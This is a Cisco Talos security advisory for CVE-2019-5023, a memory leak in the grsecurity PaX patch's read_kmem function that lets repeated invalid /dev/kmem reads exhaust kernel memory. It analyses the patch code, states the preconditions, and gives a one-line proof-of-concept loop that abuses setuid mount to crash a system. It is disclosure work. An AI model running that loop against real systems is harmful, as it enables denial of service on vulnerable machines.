Talos Vulnerability Report

TALOS-2019-0784

PaX read_kmem denial of service vulnerability

May 29, 2019
CVE Number

CVE-2019-5023

Summary

An exploitable vulnerability exists in the grsecurity PaX patch for the function read_kmem, in PaX from version pax-linux-4.9.8-test1 to 4.9.24-test7, grsecurity official from version grsecurity-3.1-4.9.8-201702060653 to grsecurity-3.1-4.9.24-201704252333, grsecurity unofficial from version v4.9.25-unofficial_grsec to v4.9.74-unofficial_grsec. PaX adds a temp buffer to the read_kmem function, which is never freed when an invalid address is supplied. This results in a memory leakage that can lead to a crash of the system. An attacker needs to induce a read to /dev/kmem using an invalid address to exploit this vulnerability.

Tested Versions

PaX pax-linux-4.9.24-test7.patch (latest version available to the public)
grsecurity grsecurity-3.1-4.9.24-201704252333.patch (latest official version available to the public)
v4.9.74-unofficial_grsec (latest unofficial version available to the public)

Product URLs

https://www.grsecurity.net/~paxguy1/

CVSSv3 Score

5.9 - CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-401: Improper Release of Memory Before Removing Last Reference

Details

PaX is a patch for Linux that focuses on increasing the security of a system by preventing the exploitation of memory corruption bugs.

The portion of the PaX patch that involves the read_kmem function is:

@@ -405,6 +419,8 @@ static ssize_t read_kmem(struct file *fi
 
    read = 0;
    if (p < (unsigned long) high_memory) {
+       char *temp;
+
        low_count = count;
        if (count > (unsigned long)high_memory - p)
            low_count = (unsigned long)high_memory - p;
@@ -422,6 +438,11 @@ static ssize_t read_kmem(struct file *fi
            count -= sz;
        }
 #endif
+
+       temp = kmalloc(PAGE_SIZE, GFP_KERNEL|GFP_USERCOPY);
+       if (!temp)
+           return -ENOMEM;
+
        while (low_count > 0) {
            sz = size_inside_page(p, low_count);
 
@@ -434,14 +455,18 @@ static ssize_t read_kmem(struct file *fi
            if (!virt_addr_valid(kbuf))
                return -ENXIO;
 
-           if (copy_to_user(buf, kbuf, sz))
+           if (probe_kernel_read(temp, kbuf, sz) || copy_to_user(buf, temp, sz)) {
+               kfree(temp);
                return -EFAULT;
+           }
            buf += sz;
            p += sz;
            read += sz;
            low_count -= sz;
            count -= sz;
        }
+
+       kfree(temp);
    }

After the patch is applied, read_kmem reads as follows:

     static ssize_t read_kmem(struct file *file, char __user *buf,
                  size_t count, loff_t *ppos)
     {
        unsigned long p = *ppos;
         ...
[1]      if (p < (unsigned long) high_memory) {
             char *temp;
 
             low_count = count;
             if (count > (unsigned long)high_memory - p)
                 low_count = (unsigned long)high_memory - p;
 
             ...
 
[2]          temp = kmalloc(PAGE_SIZE, GFP_KERNEL|GFP_USERCOPY);
             if (!temp)
                 return -ENOMEM;
 
             while (low_count > 0) {
                 sz = size_inside_page(p, low_count);
 
                 /*
                  * On ia64 if a page has been mapped somewhere as
                  * uncached, then it must also be accessed uncached
                  * by the kernel or data corruption may occur
                  */
                 kbuf = xlate_dev_kmem_ptr((void *)p);
[3]              if (!virt_addr_valid(kbuf))
[4]                  return -ENXIO;
 
                 if (probe_kernel_read(temp, kbuf, sz) || copy_to_user(buf, temp, sz)) {
                     kfree(temp);
                     return -EFAULT;
                 }
                 ...

When read_kmem is invoked, *ppos (then p) is the virtual address that has to be read from the kernel memory. When p is smaller than high_memory [1], a new buffer temp is allocated [2]. Then, if p is not a valid address [3], the function returns [4] without freeing temp, resulting in a memory leak.

In order to reach [4], it’s enough to read any small, invalid, virtual address from /dev/kmem (for example, address “0”). An attacker that can induce /dev/kmem to be read using an invalid address an arbitrary amount of times, may be able to crash the affected system.

Note that in order to exploit this vulnerability, two specific requirements need to be met.

The first requirement is that /dev/kmem has to be exposed using the kernel config option CONFIG_DEVKMEM. Modern, well-known Linux distributions normally ship with this config option disabled. However, less widely-used distributions may still ship with such config option enabled. As a practical example, we found /dev/kmem enabled on “CUJO Smart Firewall”, which was using the “OCTEON-SDK”. While this is a bad practice, it doesn’t constitute a vulnerability per se.

Reading from /dev/kmem is possible, other than by the root user, by a user in the kmem group. However, in order for a kmem user to open /dev/kmem, the CAP_SYS_RAWIO capability is also needed. This is the second requirement.

Note that while the arbitrary usage of CAP_SYS_RAWIO is root-equivalent, binaries with such capability that are accessing /dev/kmem still represent a security boundary since they can restrict the capability’s usage. Therefore, even if users interacting with such a binary could induce an invalid, blind, read on /dev/kmem, they still should not be able to crash a system. The same concept applies to SUID binaries.

An additional note regarding grsecurity, which provides the CONFIG_GRKERNSEC_KMEM config option: this option potentially protects against this bug since it completely disables CONFIG_DEVKMEM. However, this is only meaningful to users that enabled DEVKMEM inadvertently, since using CONFIG_GRKERNSEC_KMEM is the same as not enabling DEVKMEM, which is required for this vulnerability. This means that if somebody wants to have CONFIG_DEVKMEM enabled, they are forced to disable CONFIG_GRKERNSEC_KMEM. Finally, this config option is not enabled by default, but it can be enabled manually and is also automatically enabled when the configuration method is set to “Automatic”, which is not the default.

Exploit Proof of Concept

An unprivileged local user could manage to exhaust the system’s memory by exploiting this vulnerability. The following proof-of-concept demonstrates how to achieve this using mount.

$ id
uid=1000(x) gid=1000(x) groups=1000(x)
$ ls -l /usr/bin/mount
-rwsr-xr-x 1 root root 47064 Jan 10 16:06 /usr/bin/mount
$ cat /etc/fstab
UUID=11223344-1122-1122-1122-112233445566   /   ext4   rw,relatime   0 1
$ while true; do mount /dev/kmem &> /dev/null; done
...
-bash: fork: Cannot allocate memory
-bash: wait_for: No record of process 16182

Since mount has the setuid flag set, it can access /dev/kmem. The access happens because, if no mountpoint is specified, mount checks /etc/fstab to find the target mountpoint. If any tag is specified in fstab (for example UUID as shown above), then mount opens the source (/dev/kmem in this case) and tries to read tags (LABEL, UUID, PARTUUID, etc.) from the device, in order to match the fstab entries. This series of operations is enough to trigger the bug.

Timeline

2019-02-26 - Vendor Disclosure
2019-05-29 - Public Release

Credit

Discovered by Claudio Bozzato and Yves Younan of Cisco Talos.